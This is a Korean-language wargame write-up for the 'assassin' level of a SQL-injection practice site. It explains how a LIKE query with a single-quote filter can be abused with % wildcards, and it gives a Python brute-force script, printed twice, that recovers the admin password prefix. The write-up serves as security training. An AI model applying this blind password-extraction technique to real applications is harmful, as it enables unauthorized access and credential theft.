없다.
문제에 들어가면 위에 query와 sql명령문이 적혀있고 아래 코드가 나와 있다.

get으로 요청된 pw값이 '가 들어가면 프로그램이 죽는다. 즉 이 부분이 필터링 부분이다.
if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~");
그 다음은 query에 sql명령문이 나온다.
명령문은 id를 찾는데 prob_assassin이란 테이블에 있어야 하고, pw가 get으로 입력된 pw이어야 한다.
$query = "select id from prob_assassin where pw like '{$_GET[pw]}'";
id를 찾으면 Hello (찾은 id)라고 나오고, 만약 id가 admin이면 문제가 풀린다.
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("assassin");
문제의 query를 보면 like를 사용하는 것을 볼 수 있다. sql에서 like는 _나 %를 이용해서 부분적으로 일치하는 컬럼을 찾을 때 사용한다.
즉 brute force를 이용해서 문제를 풀면 될 거 같다.
(문자)%에서 아무문자나 넣어보면 guest만 나오고 admin은 안 나오는 것을 알 수 있다. 즉 이 말은 guest랑 admin이랑 pw값이 비슷하다는 것이다. 그래도 완전히는 똑같이는 않을 거니까 guest를 따라 찾다보면 pw의 값을 찾을 수 있을 거 같다.
먼저 익스플로잇을 짤 때 첫 부분은 필요한 값들을 설정한다.
from requests import get
url = 'https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php'
header = {'cookie' : 'PHPSESSID=자신의 쿠키값'}
그 다음 값을 하나씩 넣으면서 pw값을 찾는다.
pw = ''
flag = 0
while True:
for i in range(48, 97):
j = chr(i)
query = f"{url}/?pw={pw}{j}%"
response = get(query, headers=header)
if "Hello admin" in response.text:
pw += j
flag = 1
break
elif "Hello guest" in response.text:
pw += j
break
print(f"{pw}%")
if flag == 1:
break
print(f"password : {pw}%")
pw는 찾은 pw값을 넣는 부분이고, flag는 admin의 pw를 찾으면 flag를 1로 만들고, 마지막에 flag가 1일 경우 반복문을 탈출한다.
i의 range 범위가 숫자와 대문자, 그외 문자까지만 있고, 소문자는 체크를 안하는데 sql에서 대소문자를 구분을 안해서 안 넣었다.
i를 그대로 형변환을 시키면 오류가 생길 거 같아서 j를 만들어서 i를 char형으로 형변환 시킬 때 값 넣는 용으로 사용했다.
brute force 실행 중 때 query
select id from prob_assassin where pw like '1%'
위 과정을 합치면 익스플로잇이 이렇게 나온다.
from requests import get
url = 'https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php'
header = {'cookie' : 'PHPSESSID=자신의 쿠키값'}
pw = ''
flag = 0
while True:
for i in range(48, 97):
j = chr(i)
query = f"{url}/?pw={pw}{j}%"
response = get(query, headers=header)
if "Hello admin" in response.text:
pw += j
flag = 1
break
elif "Hello guest" in response.text:
pw += j
break
print(f"{pw}%")
if flag == 1:
break
print(f"password : {pw}%")
코드를 실행하면 admin의 부분적인 pw값인 902%을 얻을 수 있다.

그리고 뒤에 /?pw=902%를 넣으면 문제가 풀린다.
